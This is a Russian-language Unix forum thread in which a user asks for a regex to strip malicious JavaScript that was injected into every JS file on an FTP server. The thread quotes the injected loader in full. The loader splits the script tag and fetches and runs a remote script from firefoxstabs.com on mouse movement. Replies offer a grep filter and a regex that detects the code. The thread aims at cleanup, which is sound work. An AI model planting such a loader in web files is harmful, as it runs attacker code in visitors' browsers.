powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Unix-системы [игнор отключен] [закрыт для гостей] / Хитрое регулярное выражение
3 сообщений из 3, страница 1 из 1
Хитрое регулярное выражение
    #37257820
ALex_hha
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Столкнулся с неприятной задачей, какая то редиска заразила все js файлы на FTP сервере. Добавив в уонец каждого файла след код

document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});

Так как файлов 170k, то в ручную править будет очень долго :)

А вот как составить регулярку к такому коду не соображу. Может кто подскажет.
...
Рейтинг: 0 / 0
Хитрое регулярное выражение
    #37258121
White Owl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
строку в файл, а потом
grep -fbadstring -v file >file.fixed
...
Рейтинг: 0 / 0
Хитрое регулярное выражение
    #37258725
ALex_hha
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Если кому пригодится

/document.write\('<scr'\+'ipt .+?firefoxstabs.+;}\);}}\);}\);/
...
Рейтинг: 0 / 0
3 сообщений из 3, страница 1 из 1
Форумы / Unix-системы [игнор отключен] [закрыт для гостей] / Хитрое регулярное выражение
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]